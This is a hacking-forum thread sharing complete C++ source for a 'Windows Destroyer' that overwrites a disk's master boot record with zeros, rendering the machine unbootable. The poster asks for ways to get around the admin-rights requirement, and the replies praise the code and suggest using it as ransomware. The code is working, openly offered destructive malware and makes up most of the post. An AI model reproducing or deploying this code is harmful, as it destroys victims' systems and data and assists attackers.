Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C 

C ++ Windows Destroyer!

I share with you a small source which allows to destroy a windows that I wrote. More precisely, this code will rewrite the first section of the hard drive (the one that allows booting).

DO NOT LAUNCH IT ON YOUR PC.😭
Code
#include <iostream>
#include <Windows.h>

using namespace std;

int main()
{
  DWORD write;
  char mbrData[512];
  ZeroMemory(&mbrData, (sizeof mbrData));

  HANDLE MasterBootRecord = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);

  if(WriteFile(MasterBootRecord, mbrData, 512, &write, NULL) == true){
    cout << "Succes !" << endl;
    Sleep(5000);
    ExitProcess(0);
  }
  else {
    cout << "fail" << endl;
    Sleep(5000);
    ExitProcess(0);
  }

  CloseHandle(MasterBootRecord);
  return EXIT_SUCCESS;
}
EDIT: I forgot to specify, the software must have admin rights. If you have a solution for this comment!...
Looks like this in ugly.

https://github.com/sheep-o/Windows-MBR-O...r/Main.cpp
😕Sorry for this bad post !... But,
I did not want to harm the good being of the Forums...

I just wanted to present a new way of doing things, for those new or the Nob to the Forums who
don't really know the development

I didn't think I would revolutionize the Shit!... 😭

Also I don't believe I saw the same Post on the Forum, So I didn't think I was harmful ?
So I didn't think I was helpful, but informative...
Thanks mate thats awesome ! :D
But suddenly it could be used as ransomware no ??
Hahaha dang this is scary to play with, I have a habit of building and running programs all the time... Thanks bro
rewriting the masterboot record will fuck up your pc indeed, but its not hard to fix it rip the files though
looking for work


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Shell] by Emre_Jan 12, 2021 11:16 PM 0 140 Jan 12, 2021 11:16 PM
Last Post: Emre_
[.NET] by fisica638May 19, 2020 05:25 PM 0 320 May 19, 2020 05:25 PM
Last Post: fisica638
[Shell] by cdrizaJun 17, 2014 11:20 PM 7 245 Jun 17, 2014 11:20 PM
Last Post: ɩᴄᴀʀᴜȿ ᴌוᴠᴇѕ™